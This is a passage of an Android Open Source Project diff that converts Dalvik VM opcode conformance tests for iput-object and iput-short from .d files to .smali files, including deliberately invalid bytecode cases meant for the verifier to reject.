+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_3;
+.super Ljava/lang/Object;
+.source "T_iput_object_3.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_3;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.d
deleted file mode 100644
index ace5b2c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_30.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_30
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_object/d/T_iput_object_30
-    const v1, 0
-    iput-object v1, v0, dot.junit.opcodes.iput_object.d.T_iput_object_30.st_i1 Ljava/lang/Object;
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.smali
new file mode 100644
index 0000000..f82484a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_30;
+.super Ljava/lang/Object;
+.source "T_iput_object_30.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_30;
+
+    const v1, 0x0
+
+    iput-object v1, v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_30;->st_i1:Ljava/lang/Object;
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.d
deleted file mode 100644
index 7b1b507..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_31.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_31
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-object v1, v0, dot.junit.opcodes.iput_object.d.T_iput_object_31.st_i1 Ljava/lang/Object;
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.smali
new file mode 100644
index 0000000..bd8477d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_31;
+.super Ljava/lang/Object;
+.source "T_iput_object_31.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x0
+
+    iput-object v1, v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_31;->st_i1:Ljava/lang/Object;
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.d
deleted file mode 100644
index 8906abe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_4.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_4
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v3, v2, dot.junit.opcodes.iput_object.d.T_iput_object_4.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.smali
new file mode 100644
index 0000000..cc8c752
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_4;
+.super Ljava/lang/Object;
+.source "T_iput_object_4.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p1, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_4;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.d
deleted file mode 100644
index 5e9f811..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_6.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_6
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v3, v2, dot.junit.opcodes.iput_object.d.T_iput_object_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali
new file mode 100644
index 0000000..1ca7aca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_6.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_6;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v3, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.d
deleted file mode 100644
index 25768ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_7.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_7
-.super java/lang/Object
-
-.field public static st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_7.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.smali
new file mode 100644
index 0000000..6c57cc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_7;
+.super Ljava/lang/Object;
+.source "T_iput_object_7.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_7;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.d
deleted file mode 100644
index 971dec4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_8.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/TestStubs/<init>()V
-
-       iput-object v2, v0, dot.junit.opcodes.iput_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali
new file mode 100644
index 0000000..1776ab8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_8.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/TestStubs;-><init>()V
+
+       iput-object v2, v0, Ldot/junit/opcodes/iput_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.d
deleted file mode 100644
index 3fd712b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_9.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_9
-.super java/lang/Object
-
-.field public st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_9noclass.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.smali
new file mode 100644
index 0000000..5049bab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_9;
+.super Ljava/lang/Object;
+.source "T_iput_object_9.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_9noclass;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.d
deleted file mode 100644
index 8aca472..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_1.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_1
-.super java/lang/Object
-
-.field public  st_i1 S
-.field protected  st_p1 S
-.field private  st_pvt1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public getPvtField()S
-.limit regs 2
-
-       iget-short v0, v1, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_pvt1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali
new file mode 100644
index 0000000..8c422ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_1.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+.field protected  st_p1:S
+.field private  st_pvt1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public getPvtField()S
+.registers 2
+
+       iget-short v0, v1, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_pvt1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.d
deleted file mode 100644
index 7feaba8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_10.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_10
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_10.st_i1N S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali
new file mode 100644
index 0000000..01f49e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_10.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_10;->st_i1N:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.d
deleted file mode 100644
index 23539d3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_11.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/TestStubs/<init>()V
-
-       const v1, 1
-       iput-short v1, v0, dot.junit.opcodes.iput_short.TestStubs.TestStubFieldFinal S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali
new file mode 100644
index 0000000..f10d1c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_11.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/TestStubs;->TestStubFieldFinal:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.d
deleted file mode 100644
index b0f2f15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_12.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_12
-.super java/lang/Object
-
-.field public  final st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_12.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali
new file mode 100644
index 0000000..79ae5ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_12.smali
